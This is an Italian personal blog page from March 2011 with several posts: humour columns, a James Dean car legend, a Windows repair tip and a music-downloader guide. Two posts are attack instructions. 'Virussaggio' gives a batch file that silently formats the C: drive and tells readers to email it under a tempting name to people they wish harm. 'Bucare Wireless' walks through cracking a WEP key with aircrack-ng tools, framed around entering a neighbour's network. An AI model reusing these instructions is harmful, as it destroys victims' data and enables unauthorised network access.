Lasciate ogni speranza, o voi che entrate

armatevi di coraggio e sfogliate il blog

computer-immagine-animata-0026

QR Code di questo blog

Generatore di codici QR

Instagram

Instagram

Il mio profilo in Linkedin Carlo Bonzi

Spread in tempo reale..ammazzate se e' schifa

cercami in Linkedin

https://www.linkedin.com/in/carlo-bonzi-6992081a/?originalSubdomain=it

Veni, Vidi, WC.

In classifica

Riconoscimento

Riconoscimento

Sto rilevando il tuo IP e non dirlo a nessuno.

Il post e' scritto in Togolese ma tu prova a cambiare lingua.

Questo e' il mio motore di ricerca, scrivi una parola e clicca sul cerca

venerdì 11 marzo 2011

Virussaggio


Per far capire quanto e’ semplice e pericoloso leggere la posta, spiego come azzerare un computer formattandogli il disco C con poche manovre..
1) Apro il blocco note
2) scrivo   formatC: /autotest /q /u

Salvo con un nome accattivante secondo la persona a cui mandero’  la posta con estensione .bat
Ad es:
eccomi.bat
ilmiocane.bat
nudo.bat
e la invio a chi voglio male…
Per spiegare il /q (senza chiedere conferma) e il /u (non permettere di essere bloccato piu’ avanti)..
Chi lo ricevera’ si trovera’ il computer azzerato di tutto..
Se invece voglio sconnettere il suo PC riavviarlo per poi spegnerlo definitivamente, vado ancora nel blocco note inserisco il codice
shutdown -comando  e lo salvo in bat..al posto della parola comando mettero’:
a) -i : Attivo l’interfaccia utente grafica
b) -l : Disconnetto l’utente
c) -r : Riavvio il PC
d) -s : Spengo il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiudo le applicazioni ancora aperte

Semplice vero?

Apicella e Carla'



Darmagi (n.d.s. = disappunto in Piemontese). Annullato il concerto di Apicella. Pare che avesse venduto un solo biglietto. Guarda che uno e’ poco…sara’ stato quello di Berlu? No, perche’ gli avrebbe lasciato alla cassa un omaggio. Forse era di Carla’. La Bruni. Sai che sta per uscire un suo nuovo cd. Vogliamo fare la ola? Avremo altre 12 o 13 canzoni sublimi. Una pero’, la piu’ sublime, e’ gia’ in rete, o almeno, era in rete fino a qualche giorno fa perche’ purtroppo l'hanno tolta. Merita. Posso dire che merita. E' la versione in italiano di ..Douce France.., quella di Trenet. ’Sto poveretto e’ scoppiato giusto dieci anni fa, e per non lasciarlo riposare in santapace, la Bruniha pensato bene di massacrare una sua canzone. Voi la dovete ascoltare perche’ descrivere non si puo’. Tu l’ascolti e ti sale la pressione. Ti escon fuori i denti da caimano. L'impianto sonoro e’ quello classico di Carla’.. chitarrina spompa e vocina sifula. Ma piu’ sifula del normale suo. Sifulerrima. E pure il testo e’ un capolavoro, piega proprio le ossa, diciamo che lo stile e’ un po' quello dei grandi successi di Apicella. ..Dolce Francia,caro pa/ e’ se dell'infanzia, mi hai collata di speranza e ti ho presa nel mio cuor… .. Guardate, io l'ho ascoltata e riascoltata, e vi assicuro che dice cosi’…. mi hai collata di speranza. Forse ho capito male. Magari sara’ «colata»? Mi hai colata di speranza, nel senso che mi hai colato addosso secchiate di speranza?O vorra’ dire…  non stavo insieme e mi hai incollata di speranza. Mah.E poi, scusate, va bene che Trenet cantasse ..cher pays de mon enfance.., perche’ lui era francese. Ma la Bruni? Ma quale paese dell’infanzia, il suo paese dell'infanzia e’ Castagneto Po qui in collina, altro che dolce Francia. Comunque,poi continua .. Io ti amo, e ti dedico ’sto brano, io ti amo, nella gioia e nel dolor...Un verso di stampo scespiriano. Che costernazione suprema.
Altra bella novita’. E' uscito il calendario delle Barbie. Ma non un calendario normale. Il lesbo calendario della Barbie, della Barbie lesbica.. 12 mesi di foto di Barbie nude in pose provocanti. E a quelli della Mattel e’ gia’ partito il plafond. Loro la Barbie possono farla restare fidanzata per cinquant' anni con un uomo che dentro i pantaloni non ha assolutamente niente, ma se qualcuno, preso a pieta’, la mette in condizione di consolarsi con una consorella scagliano fulmini. Intanto tocca capire se esiste qualcuno, al mondo, che puo’ eccitarsi vedendo due Barbie accatastate una sull'altra. Gia’ una da sola, fa pensare a due bastoncini per il sushi con la parrucca… poi per carita’. Gli uomini sono perversi forte... Si eccitano guardando certe tette che sembrano espiantate da una muccafrisona, certo puo’ anche partire l'ormone con 2 Barbie che se le sfreghi una contro l'altra servono per accendere il fuoco… Certo perche’ non e’ che facciano grandi cose ’ste due. Con le mutande di plastica, le tette senza capezzoli e il culo senza chiappe le possibilita’ di fare sesso sono infime. E poi le pose son piuttosto assurde. D'altronde lo sanno tutti che le Barbie nascon gia’ con l'artrite e per loro gia’ piegare il ginocchio e’ un'impresa. Neanche un bacio si danno, e d'altra parte la lingua non ce l'hanno, il che fra l'altro per due che volessero darsi ad attivita’ lesbo e’ un deterrente non da poco. Ora aspettiamo con trepidazione il calendario dei Ken e Big Jim omosessuali. Tanto il walter non ce l'hanno, e pure loro potranno fare poco.


OPERA DEGRADATA – NESSUN DIRITTO
Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani
LUCIANA LITTIZZETTO

Questo blog non rappresenta una testata giornalistica in quanto viene aggiornato a discrezione di togo29 e comunque non sistematicamente.
Non può quindi essere considerato un prodotto editoriale, ai sensi della legge 62 del 7/3/2001. Alcune immagini sono frutto di una ricerca attraverso la rete e/o prelevate da siti all'apparenza di pubblico dominio,ma se il loro uso violasse diritti d'autore, lo si comunichi all’autore del blog che provvedera’ alla loro pronta rimozione
.

giovedì 10 marzo 2011

Il desk e' nero?

L'accensione del PC, Windows XP e' avvenuta  regolarmente ma dopo pochi istanti, il monitor diventa di un bel nero che piu' nero nn si puo' e se anche ripetete e' sempre nero?
Bueno.. significa che alcune porzioni del disco rigido sono andate dal culo e si sia  danneggiato il sistema operativo o qualche file.
Nessun problema voi ora riavviate il computer attraverso il supporto di installazione di Windows, caricate quindi la "Console di ripristino" premendo il tasto R quando richiesto e poi, dal prompt dei comandi, digitate la stringa chkdsk /o /r seguita da "Invio".
Console di ripristino
Ora restate in attesa speranzosi in quanto la procedura di riparazione potrebbe richiedere molti minuti e incrociate le dita..anche stavolta e' andata.

venerdì 4 marzo 2011

Moon Cup







Notizia toda gioia toda bellezza. Novita’ nel campo degli attrezzi femminili. Diciamo subito che e’ una cosa per donne… Si chiama Moon cup. Traduco.. Moon luna, cup tazza. La coppetta della luna. A meno che Mon non sia come dicono Jolanda in veneto. E dove si mette la Moon cup? Ti ricordi il caffe’? E’ buono qui e buono qui. Ecco questa e’ solo buona qui. Sulla squisitissima eminenza la jole. Dunque. Per le portatrici sane di jolanda hanno inventato un aggeggio per salvaguardare l'ambiente. Uno strumento ecologico che rispetta la natura. Che si puo’ oltretutto riutilizzare di volta in volta. E' praticamente un bicchierino di silicone, che tu pieghi come un origami e metti dentro, sistemi nell'apposita cassettiera. E quando si usa? Le donne lo possono usare una volta al mese. Per cinque giorni. E chi ha orecchie per intendere intenda. E' chiaro? Serve per fare paracadutismo e la ruota anche nei giorni in cui cambiamo l’uovo. Sono stata abbastanza soft nella descrizione? Insomma. Da usare come alternativa agli assorbenti con le ali, l'elica e le lame rotanti. Pare che un sacco di donne la stiano sperimentando e si trovino benissimo. Basta solo prendere un po’ dimestichezza con l'attrezzo e poi e’ tutto in discesa. Dicono anche che sia molto comoda. Allora.
Adesso per carita’. Va bene tutto. Dimmi che e’ ecologica, che e’ igienica, dimmi che rispetta l'ambiente… ma comoda? Comoda? Comode sono le calze a pantofola, comodo il parcheggio in piazza Castello, comoda la centrifuga per l'insalata, i bastoncini di pesce, che li butti in padella e via. Ma la coppetta della luna? Come si fa a dire che ’sto copri-spinterogeno è comodo? Sara’ utile, ma comodo non penso. Mi sembra un po’ come quelle che si inerpicano su tacchi da 12 beccheggiando come catamarani e poi dicono che sono comodissimi. No, dico, per me puoi anche infilarti un flute di quelli da champagne, anche un boccale della birra, un calice di quelli a pancia per il cognac, ma che sia comoda e’ un altro par di maniche. E' vero che li’ dentro ci facciamo star di tutto, dai walter ai bambini, pero’ una micro teglia per la torta… Poi devi camminare come a capodanno quando porti il pentolone con le lenticchie dai parenti? Che stai tutto rigido per non farlo rovesciare, poi lo metti in macchina per terra, parti, e alla prima frenata e’ uno tzunami di lenticchie che arriva fino al vetro davanti?
Scusa magari sei sul pullman… quello frena e opp… dai il giro… o l'amica che ti arriva da dietro, pacca sulla spalla… Pam… E tu strabordi come il latte sul fuoco… Poi devi avere anche dimestichezza… non e’ come mettersi un dito nel naso, che la traiettoria e’ quella non ti puoi sbagliare… li vai un po' a caso, random… devi fare un po' come la sogliola quando si sistema sotto la sabbia… che si assesta pian pianino… come quando cerchi il campo col telefonino, che ti sposti di un pelo a sinistra e destra… e sai chi l'ha inventato? Un uomo. Di sicuro. Ispirandosi al meccanico quando svuota la coppa dell'olio.

OPERA DEGRADATA – NESSUN DIRITTO
Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani
LUCIANA LITTIZZETTO

Questo blog non rappresenta una testata giornalistica in quanto viene aggiornato a discrezione di togo29 e comunque non sistematicamente.
Non può quindi essere considerato un prodotto editoriale, ai sensi della legge 62 del 7/3/2001. Alcune immagini sono frutto di una ricerca attraverso la rete e/o prelevate da siti all'apparenza di pubblico dominio,ma se il loro uso violasse diritti d'autore, lo si comunichi all’autore del blog che provvedera’ alla loro pronta rimozione
.

giovedì 3 marzo 2011

L'auto maledetta..




A volte si dice che certe cose portano sfiga a chi le possiede e stavolta parliamo dell’auto di James Dean..Lui la battezzo’ “Little Bastard”, piccola bastarda e forse non aveva tutti i torti. Sulla Porsche Spider 550 l’attore ci lascio’ le penne il 30 settembre del 1955 e, dopo la sua morte, l’auto non ha portato altro che sfiga a chiunque si avvicinasse. Cominciamo con l’elenco che e’ degno di un copione da romanzo mozzafiato stile Stephen King come in “Christine”. Dopo la morte di James la macchina fu acquistata da George Barris, famoso in tutto il mondo per le sue incredibili creazioni di effetti cinematografici. Alloora..mentre veniva rimorchiata da un camion si sgancio’ dai sostegni e spezzo’ una gamba ad un meccanico.. e non e’ che l’inizio perche’in seguito il motore della Piccola bastarda fu venduto ad un medico, pilota dilettante, che lo installo’ sulla sua auto da corsa. Durante una competizione il medico perso il controllo dell’autovettura, investi’ ed uccise uno degli addetti al controllo della gara. Il medico rimase gravemente ferito. Continuiamo con un altro pilota che aveva montato sulla sua auto un semiasse proveniente sempre dalla Little Bastard ed ebbe un gravissimo incidente stradale. Poi un altro corridore utilizzo’ i suoi copertoni e rischio’ di morire causa esplosione di uno degli stessi.
Insomma tra verita’ e leggenda, sempre legate alle parti del motore della Porsche, si sono verificate altri strani incidenti. I veri episodi possono essere verificati solo tramite i giornali dell’epoca ed e’ trascorso oltre mezzo secolo ma la scia delle disgrazie non finisce qui ovviamente. Mentre i pezzi del motore distribuiti tra diversi piloti continuavano a provocare morti e disgrazie, il corpo principale dell’auto “maledetta” la scocca, era nel deposito di Barris. Qualcuno racconta che un ragazzino che si intrufolo’ all’interno dell’auto per rubare un pezzo come ricordo e si taglio’ un braccio sul telaio in un modo talmente grave che i medici furono costretti ad amputargli l’arto.
Ed ancora. La carrozzeria ed il telaio del Porsche, nonostante che fossero solo rottami, furono utilizzati in una mostra viaggiante per una campagna sociale contro la velocita’, per la sicurezza sulla strada a Los Angeles e in tutti gli Stati Uniti. Pagando 50 centesimi i visitatori potevano sedere al posto di guida e leggere una targa sulla quale era scritto “Questo incidente poteva essere evitato”. Una iniziativa meritoria , ma che presto si trasformò in un cerchio vizioso di “strani” incidenti. A Sacramento il telaio dell’auto senza alcun preavviso si stacco’ fracassando l’anca di un visitatore.
Alla tappa successiva della mostra il camion che trasportava i rottami contorti della Piccola bastarda fu tamponato violentemente. Nell’urto i portelloni si aprirono e l’auto slitto’ all’esterno travolgendo ed uccidendo un uomo a bordo di un’ altra auto che viaggiava dietro l’autoarticolato. Giunto nell’Oregon il freno a mano del camion si ruppe all’improvviso e il mezzo frantumo’ una enorme vetrina di un vicino negozio. Ultimo episodio: a New Orleans, senza alcuna causa apparente la Porsche si distrusse in 11 pezzi per l’incredibile cedimento dei sostegni della pedana sulla quale era poggiata. Agli organizzatori della mostra itinerante comincio a bruciarre il culo e quindi decisero di togliersi dalle palle i rottami e li rispedirono a Los Angeles. La Bastarda fu caricata su di un treno, ma non e’ mai arrivata a destinazione. Svanita nel nulla. Puff…Per ritrovarla furono ingaggiati investigatori privati e fu promessa una taglia di un milione di dollari. Nada ..zero di negativo. “Little Bastard” non c’e’ piu’, come il suo biondo ed inquietante padrone, il mito, il ribelle, il sogno americano della gioventu’ bruciata, lui, James Dean.

mercoledì 2 marzo 2011

Bucare Wireless

WiFi.jpg

Entrare nelle reti wifi di altri e' illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta' i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..
Armiamoci e partite prendete..
1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx
In questo modo si avviera' la modalità grafica, eccoci finalmente in backtrack.
Iniziamo subito, apriamo il terminale o meglio la console.
Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)
Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:
airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down

scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e' ricordarlo! Anche wlan0 puo' cambiare dipende dalla scheda wireless.
Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.
Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.
Ora prendiamo carta e penna e segniamo  il canale (CH) il BSSID e anche l’ESSID della nostra rete.
Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):
airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0
In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e' scritto sme potete lasciarlo cosi' o mettere un nome qualunque, l’importante e' che lo ricordiate.
Adesso apriamo un altra console/terminale e scriviamo:
aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0
se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:
aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0
se tutto va per il verso giusto diamo il comando:
aircrack-ng -n 64 -b (BSSID) sme-01.cap
e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e..  il buco e' fatto.
Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

martedì 1 marzo 2011

Scarica velocemente musica.

Grooveshark Downloader e' il programma di cui tu hai bisogno per scaricare velocemente musica e a costo zero (non richiede ne' registrazioni ne' installazioni), ecco come fare.. .



Collegati al sito Internet di Grooveshark Downloader e clicka sul pulsante Download collocato sotto la voce Zip (in fondo alla pagina). Nella pagina che si apre, chiudi il popup pubblicitario che si apre, digita il codice di conferma nell’apposito campo e, al termine del countdown, clicca sul pulsante Free download per scaricare il programma sul tuo PC.
A download ultimato apri, facendo doppio click , l’archivio appena scaricato (SciLorsGrooveshark.comDownloaderV0.4.9c.zip), estraine il contenuto in una cartella qualsiasi e avvia il programma SciLors GrooveDownloader.exe per accedere alla finestra principale del programma.
Per tradurre l’interfaccia utente di Grooveshark Downloader in italiano, non devi far altro che selezionare la bandierina italiana dal menu Language. Per iniziare a usare questo programma per scaricare musica gratis velocemente in Italiano, ti basta digitare il nome dell’artista o dei brani da ricercare nella barra di ricerca che si trova in alto e cliccare sul pulsante Cerca.
Metti quindi il segno di spunta accanto ai nomi dei file presenti nei risultati della ricerca che intendi scaricare sul tuo PC e clicca prima su Aggiungi alla coda Download e poi su Scarica per avviarne il download sul tuo picci' e alla prox...
Grooveshark Downloader salva i brani musicali scaricati nella cartella Downloads contenuta nella directory del programma. Se vuoi cambiare la cartella in cui il programma conserva i file scaricati, recati nella scheda Impostazioni (in basso) e clicca sul pulsante Seleziona cartella.
Puoi anche regolare il modo in cui Grooveshark Downloader deve rinominare i brani scaricati, utilizzando il menu a tendina Modello di rinominazione brani, e impostare una serie di ricerche automatizzate, recandoti nella scheda Opzioni avanzate.